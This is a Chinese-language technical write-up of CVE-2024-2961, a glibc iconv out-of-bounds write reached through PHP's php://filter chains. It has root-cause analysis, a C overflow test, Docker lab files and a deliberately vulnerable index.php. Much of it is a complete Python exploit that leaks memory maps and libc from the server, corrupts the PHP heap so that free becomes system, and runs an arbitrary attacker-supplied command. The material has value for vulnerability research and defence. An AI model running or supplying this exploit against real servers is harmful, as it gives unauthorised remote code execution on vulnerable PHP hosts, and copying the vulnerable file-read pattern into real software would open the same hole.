Overview
CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。
由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。
Affected Versions
- glibc iconv:支援 ISO-2022-CN-EXT 的版本
- PHP:多數版本(含 PHP 7.x, 8.x)
- 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件:
- 有 file_get_contents($_GET[‘file’]) 類似行為
- 可以透過 php://filter 執行 filter-chain
Root Cause Analysis
ISO-2022-CN-EXT 漏洞
- 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換
- 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集
- 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查
可以發現只有一條路徑有做 overflow 的 check
1// iconvdata/iso-2022-cn-ext.c
2
3/* See whether we have to emit an escape sequence. */
4if (set != used)
5{
6 /* First see whether we announced that we use this
7 character set. */
8 if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
9 {
10 const char *escseq;
11
12 if (outptr + 4 > outend) // <-------------------- BOUND CHECK
13 {
14 result = __GCONV_FULL_OUTPUT;
15 break;
16 }
17
18 assert(used >= 1 && used <= 4);
19 escseq = ")A\0\0)G)E" + (used - 1) * 2;
20 *outptr++ = ESC;
21 *outptr++ = '$';
22 *outptr++ = *escseq++;
23 *outptr++ = *escseq++;
24
25 ann = (ann & ~SO_ann) | (used << 8);
26 }
27 else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
28 {
29 const char *escseq;
30
31 // <-------------------- NO BOUND CHECK
32
33 assert(used == CNS11643_2_set); /* XXX */
34 escseq = "*H";
35 *outptr++ = ESC;
36 *outptr++ = '$';
37 *outptr++ = *escseq++;
38 *outptr++ = *escseq++;
39
40 ann = (ann & ~SS2_ann) | (used << 8);
41 }
42 else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
43 {
44 const char *escseq;
45
46 // <-------------------- NO BOUND CHECK
47
48 assert((used >> 5) >= 3 && (used >> 5) <= 7);
49 escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
50 *outptr++ = ESC;
51 *outptr++ = '$';
52 *outptr++ = *escseq++;
53 *outptr++ = *escseq++;
54
55 ann = (ann & ~SS3_ann) | (used << 8);
56 }
57}
- 使得當 output buffer 不足,仍可能寫入 escape sequence 而造成 1~3 bytes 的 OOB Write。可觸發的字符包含:
劄(U+5284)䂚(U+409A)峛(U+5CDB)湿(U+6E7F)
限制
- 只能 overflow 1~3 bytes
- 要呼叫到 iconv
- 要控得到 ISO-2022-CN-EXT 的 input、output buffer
Exploitation Path
使用 php://filter 觸發 iconv
攻擊者可透過以下 filter chain 構造觸發 iconv:
1php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=...
配合 PHP Heap Layout 操作
PHP Heap 結構特性:
- PHP 內建 memory manager 使用
emalloc/efree配合zend_mm_heap - 分配區域為固定 page(0x1000),依照 bin size(如 0x40、0x180)維護對應 freelist
- 每個 bin 為 LIFO(後釋放的 chunk 先被回收)
- 未使用 chunk 會記錄下一塊 chunk 的指標於 chunk header(可作為 attack vector)
- 問題在於每個 HTTP request 都會建立獨立 heap,通常難以維持 exploit 狀態
Exploitation 方式:
- 將資料放入
php_stream_bucket,構造特定大小的 heap chunk dechunkfilter 可將 buflen 調整至小於 heap size(縮減)- 接著透過
iconv.UTF-8.ISO-2022-CN-EXT實現 OOB write,蓋掉 next chunk pointer - 最終達成對
zend_mm_heap->custom_heap中_freefunction pointer 的覆寫(類似__free_hook)
PoC
環境建置
Dockerfile
1FROM ubuntu:22.04
2
3ENV TZ=Asia/Taipei
4RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
5
6RUN apt update && \
7 DEBIAN_FRONTEND=noninteractive apt install -y --allow-downgrades \
8 tzdata software-properties-common \
9 vim gcc g++ make \
10 ncat gdb wget curl \
11 nginx php php-cli php-fpm php-mbstring php-xml php-zip php-dev php-common php-cgi \
12 apt-src dpkg-dev \
13 libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 \
14 php-pear php-json php8.1 php8.1-dev php8.1-cli php8.1-fpm php8.1-mbstring php8.1-xml php8.1-zip php8.1-cgi
15
16COPY index.php /var/www/html/index.php
17COPY poc.c /var/www/html/poc.c
18COPY exp.py /var/www/html/exp.py
19COPY nginx.conf /etc/nginx/sites-enabled/default
20COPY start.sh /start.sh
21
22RUN chmod +x /start.sh
23
24WORKDIR /var/www/html
25CMD ["/start.sh"]
docker-compose.yml
1version: '3.8'
2
3services:
4 cve2961:
5 build:
6 context: .
7 dockerfile: Dockerfile
8 image: cve-2024-2961:v2
9 container_name: cve-2024-2961-container
10 ports:
11 - "80:80"
12 stdin_open: true
13 tty: true
先透過以下 script 驗證是否會 overflow
1#include <stdio.h>
2#include <string.h>
3#include <iconv.h>
4void hexdump(void *ptr, int buflen){
5 unsigned char *buf = (unsigned char*)ptr;
6 int i;
7 for (i = 0; i < buflen; i++) {
8 if (i % 16 == 0)
9 printf("\n%06x: ", i);
10 printf("%02x ", buf[i]);
11 }
12 printf("\n");
13}
14int main(){
15 iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
16 char input[0x10] = "AAAAA劄";
17 char output[0x10] = {0};
18 char *pinput = input;
19 char *poutput = output;
20 size_t sinput = strlen(input);
21 size_t soutput = sinput;
22 iconv(cd, &pinput, &sinput, &poutput, &soutput);
23 hexdump(output, 0x10);
24 return 0;
25}

可以發現確實 overflow 了一個 byte
後續的 exploit 使用直接建置 php 網頁的方式去做攻擊
Dockerfile
1FROM php:8.2.0-apache
2
3RUN apt-get update && apt-get install -y \
4 locales \
5 wget \
6 gcc \
7 g++ \
8 build-essential \
9 vim \
10 && rm -rf /var/lib/apt/lists/*
11
12RUN echo "zh_TW.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
13
14RUN docker-php-ext-install iconv
15
16WORKDIR /var/www/html
17COPY index.php .
18
19EXPOSE 80
docker-compose.yml
1version: '3.8'
2services:
3 web:
4 build: .
5 ports:
6 - "8080:80"
7 container_name: cve-2024-2961-custom
8 restart: unless-stopped
index.php
1<?php
2$data = file_get_contents($_POST['file']);
3echo "File contents: $data";
exploit.py:參考自 cnext-exploits
1from __future__ import annotations
2import base64, zlib, sys, re
3from pathlib import Path
4from requests.exceptions import ConnectionError, ChunkedEncodingError
5from pwn import *
6from ten import *
7
8heap_size = 2 * 1024 * 1024
9vulnerability = "劄".encode("utf-8")
10session = Session()
11url = ""
12command = ""
13heap = None
14pad_size = 20
15info = {}
16
17def send(path, url):
18 return session.post(url, data={"file": path})
19
20def download(path, url):
21 path = f"php://filter/convert.base64-encode/resource={path}"
22 response = send(path, url)
23 data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
24 return base64.decode(data)
25
26def compress(data):
27 return zlib.compress(data, 9)[2:-4]
28
29def b64(data, misalign = True):
30 return base64.encode(data).encode()
31
32def compressed_bucket(data):
33 return chunked_chunk(data, 0x8000)
34
35def qpe(data):
36 return "".join(f"={x:02x}" for x in data).upper().encode()
37
38def ptr_bucket(*ptrs, size = None):
39 bucket = b"".join(map(p64, ptrs))
40 bucket = qpe(bucket)
41 bucket = chunked_chunk(bucket)
42 bucket = chunked_chunk(bucket)
43 bucket = chunked_chunk(bucket)
44 bucket = compressed_bucket(bucket)
45 return bucket
46
47def chunked_chunk(data, size = None):
48 if size is None:
49 size = len(data) + 8
50 keep = len(data) + len(b"\n\n")
51 size = f"{len(data):x}".rjust(size - keep, "0")
52 return size.encode() + b"\n" + data + b"\n"
53
54def download_file(remote_path, local_path):
55 data = get_file(remote_path)
56 Path(local_path).write_bytes(data)
57
58def _get_region(regions, *names):
59 for region in regions:
60 if any(name in region["path"] for name in names):
61 return region
62 return None
63
64def find_main_heap(regions):
65 heaps = []
66 for region in reversed(regions):
67 is_heap_region = (
68 region["permissions"] == "rw-p" and
69 (region["stop"] - region["start"]) >= heap_size and
70 region["stop"] & (heap_size - 1) == 0 and
71 region["path"] in ("", "[anon:zend_alloc]")
72 )
73 if is_heap_region:
74 heap_address = region["stop"] - heap_size + 0x40
75 heaps.append(heap_address)
76 first = heaps[0]
77 print(f"Using {hex(first)} as heap")
78 return first
79
80def get_file(path):
81 return download(path, url)
82
83def get_regions():
84 maps = get_file("/proc/self/maps").decode()
85 PATTERN = re.compile(
86 r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
87 )
88 regions = []
89 for line in table.split(maps, strip=True):
90 if match := PATTERN.match(line):
91 start = int(match.group(1), 16)
92 stop = int(match.group(2), 16)
93 permissions = match.group(3)
94 path = match.group(4).rsplit(" ", 1)[-1] if "/" in match.group(4) or "[" in match.group(4) else ""
95 regions.append({
96 "start": start,
97 "stop": stop,
98 "permissions": permissions,
99 "path": path
100 })
101 return regions
102
103def get_symbols_and_addresses():
104 regions = get_regions()
105 LIBC_FILE = "/dev/shm/cnext-libc"
106 info["heap"] = heap or find_main_heap(regions)
107 libc = _get_region(regions, "libc-", "libc.so")
108 download_file(libc["path"], LIBC_FILE)
109 info["libc"] = ELF(LIBC_FILE, checksec=False)
110 info["libc"].address = libc["start"]
111
112def build_exploit_path():
113 LIBC = info["libc"]
114 ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
115 ADDR_EFREE = LIBC.symbols["__libc_system"]
116 ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
117
118 ADDR_HEAP = info["heap"]
119 ADDR_FREE_SLOT = ADDR_HEAP + 0x20
120 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x168
121 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
122 CS = 0x100
123
124 pad = b"\x00" * (CS - 0x18)
125 pad = chunked_chunk(pad, len(pad) + 6)
126 pad = chunked_chunk(pad, len(pad) + 6)
127 pad = chunked_chunk(pad, len(pad) + 6)
128 pad = compressed_bucket(pad)
129
130 step1 = b"\x00" * 1
131 step1 = chunked_chunk(step1)
132 step1 = chunked_chunk(step1)
133 step1 = chunked_chunk(step1, CS)
134 step1 = compressed_bucket(step1)
135
136 step2 = b"\x00" * (0x48 + 8)
137 step2 = chunked_chunk(step2, CS)
138 step2 = chunked_chunk(step2)
139 step2 = compressed_bucket(step2)
140
141 step2_write_ptr = b"0\n".ljust(0x48, b"\x00") + p64(ADDR_FAKE_BIN)
142 step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
143 step2_write_ptr = chunked_chunk(step2_write_ptr)
144 step2_write_ptr = compressed_bucket(step2_write_ptr)
145
146 step3 = b"\x00" * CS
147 step3 = chunked_chunk(step3)
148 step3 = chunked_chunk(step3)
149 step3 = chunked_chunk(step3)
150 step3 = compressed_bucket(step3)
151
152 step3_overflow = b"\x00" * (CS - len(vulnerability)) + vulnerability
153 step3_overflow = chunked_chunk(step3_overflow)
154 step3_overflow = chunked_chunk(step3_overflow)
155 step3_overflow = chunked_chunk(step3_overflow)
156 step3_overflow = compressed_bucket(step3_overflow)
157
158 step4 = b"=00" + b"\x00" * (CS - 1)
159 step4 = chunked_chunk(step4)
160 step4 = chunked_chunk(step4)
161 step4 = chunked_chunk(step4)
162 step4 = compressed_bucket(step4)
163
164 step4_pwn = ptr_bucket(
165 0x200000, 0, 0, 0,
166 ADDR_CUSTOM_HEAP,
167 *([0] * 13),
168 ADDR_HEAP,
169 *([0] * 11),
170 size=CS,
171 )
172 step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)
173
174 COMMAND = f"kill -9 $PPID; {command}".encode() + b"\x00"
175 COMMAND = COMMAND.ljust(0x140, b"\x00")
176 step4_use_custom_heap = qpe(COMMAND)
177 step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
178 step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
179 step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
180 step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
181
182 pages = (
183 step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap +
184 step3_overflow + pad * pad_size + step1 * 3 + step2_write_ptr + step2 * 2
185 )
186 resource = compress(compress(pages))
187 resource = b64(resource)
188 resource = f"data:text/plain;base64,{resource.decode()}"
189 filters = [
190 "zlib.inflate", "zlib.inflate", "dechunk",
191 "convert.iconv.L1.L1", "dechunk",
192 "convert.iconv.L1.L1", "dechunk",
193 "convert.iconv.L1.L1", "dechunk",
194 "convert.iconv.UTF-8.ISO-2022-CN-EXT",
195 "convert.quoted-printable-decode", "convert.iconv.L1.L1"
196 ]
197 return f"php://filter/read={'|'.join(filters)}/resource={resource}"
198
199def exploit():
200 path = build_exploit_path()
201 try:
202 send(path, url)
203 except (ConnectionError, ChunkedEncodingError):
204 pass
205
206def run():
207 get_symbols_and_addresses()
208 exploit()
209
210if __name__ == "__main__":
211 if len(sys.argv) < 3:
212 print("Usage: python test_copy.py <url> <command>")
213 sys.exit(1)
214 url = sys.argv[1]
215 command = sys.argv[2]
216 run()
